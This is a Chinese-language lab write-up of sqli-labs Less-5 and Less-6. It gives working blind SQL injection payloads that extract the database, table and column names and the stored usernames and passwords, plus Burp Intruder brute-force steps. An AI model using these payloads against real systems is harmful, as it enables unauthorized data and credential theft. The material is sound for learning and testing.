less-5
注入點與注入型態測試:
1' and 1=1 --+ 顯示正常
1' and 1=2 --+ 顯示異常
代表原本的查詢語句是
select username,password feom the table where id = '參數'
1' and 1=2 union select null,null,null --+ 顯示正常
1' union select null,null,null --+ 也會顯示正常
但1' and 1=2 union select null,'text',null --+還是無法顯示text字樣(無法回顯)。在輸入的東西確實可以查到時,會顯示You are in...,否則不會顯示。所以需要使用盲注(blind sql injection)技術,無法使用union攻擊,因為看不到字,只能用是否能正常顯示You are in...來判斷有沒有猜對。
正式注入
猜資料庫的名稱有多長:
1' and length(database())='8' --+
直到8才能正常顯示。
猜目前所在的資料庫的名稱:
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
SUBSTRING (str, pos, len)的意思是由 str中的第 pos 位置開始,選出接下去的 len 個字元。
所以上面payload的意思,是目前所在的資料庫的名稱的第一個字元(第一個粗體字)是不是s(第二個粗體字)。當然,可以用burp來暴力破解,不用一個一個英文字測。
雙變數暴力破解步驟:
在網址上id=
後面輸入以上Payload,並開啟intercept on,重新整理網頁後burp會出現如下畫面:
按右鍵選擇send to intruder如上圖,會出現畫面如下:
把上圖紅底線處給反藍,並按旁邊的Add$如下圖:
喔對了,attack type要選Cluster bomb:
接下來就可以切到Payload設定這兩個變數要怎麼跑,設定如下:
第一個變數是位置1-8:
第二個變數是英文字、數字,如果要保險一點可以在Character這加上一些特殊符號:
猜測結果如下,如果是猜對的,它的response的Length會比其他網頁短,大概965或966。
上面的Payload 1就是第一個粗體字,Payload 2就是第二個粗體字。比如說Payload 1 = 3且Payload 2 = c,代表目前資料庫的第三個字是c。所以可以拼湊出這個資料庫名稱是security。
猜security的第一個table名稱
1' and substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e' --+
要注意上述的語句。第一個粗體數字代表現在是在猜DB的第幾個table,第二個粗體數字代表是這個table名稱的第幾個字。
暴力破解後,可以看到第一個table結果如下圖,可以發現大小寫不影響。
注意上面的0x7365637572697479。因為發現如果直接寫security會無法執行,所以需要編碼成ASCII Hex,轉碼方式如下圖
同樣的語句可以去猜第2-4個table名稱,以下是設定步驟:
接下來的暴力猜解結果如下圖,Payload 1代表第幾個table(從0開始算),Payload 2是第幾個字,Payload 3是Payload 2這位置的英文字,所以下面這張圖代表第二個table叫referers。
下面這張圖代表第三個table叫uagents。
下面這張圖代表第四個table叫users。
現在已知這個DB的所有table,有可能會有帳密的table大概就是users,所以接下來就是去猜users這個table的所有column名字跟column內容。
步驟如下:
table裡有幾個column? (橫軸數量)
1' and (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3 --+
其中粗體的字就是橫軸數量。除了0x7365637572697479是DB名字security以外,0x7573657273就是table名稱。參考網站:
( https://blog.csdn.net/qingluoII/article/details/71479686 )
接下來是要猜user這個table裡的column有哪些,名字是什麼:
1' and substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d' --+
這裡解釋一下limit是什麼,參考:
( https://www.jinnsblog.com/2013/07/mysql-limit-offset-syntax-example.html )
假設一個叫DemoTable的table長這樣:
如果查詢語句是select * from DemoTable order by id limit 5
,代表限制回傳回幾筆,limit 5代表只回傳5筆,結果如下:
如果查詢語句是select * from DemoTable order by id limit 2,4
(或是select * from DemoTable order by id limit 4 offset 2
),代表會傳回從第3筆(2+1,因為index是從0開始算)資料開始的4筆(offset)資料,結果如下:
回到注入語句select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1
。
很明顯的,是從information_schema.columns這個table裡的column_name這一行,取出第一個(0+1=1)值(後面寫1其實就等於只拿這一個)。那information_schema.columns是什麼table呢? 其實是這樣:
(參考: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/ )
這個table紀錄其他資料庫與table的資訊。像上圖就記錄了有一個DB名叫Production,有個table叫ProductProductPhoto,有4個column分別叫ProductID、ProductPhotoID、Primary、ModifiedDate。
所以,limit 0,1只要改左邊的數字,即可往下看第2個、第3個column_name。substr就不用再說了,跟上面說過的SUBSTRING是一樣的。
以下就是猜測結果,下圖的Payload 1是第n+1個column、Payload 2代表這個column的第幾個字,所以第一個column的名稱就是id(Length會不同)。
同理可證,第二個column的名稱是username:
第三個column的名稱是password:
table裡有幾個row(縱軸數量)
1' and (SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13--+
參考:
猜測users這個table裡的username:
1' and substr((select username from security.users limit 0,1),1,1)='D'--+
上面三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。
猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
1' and substr((select password from security.users limit 0,1),1,1)='D'--+
一樣把粗體三變數用burp來做暴力破解即可。
less-6
1" and 1=1--+ 顯示正常
1" and 1=2--+ 顯示錯誤
代表原本的查詢語句是
select username,password feom the table where id = "參數"
所以less-6跟less-5用的payload一樣,只要把id = 1'的單引號'
改成雙引號"
即可。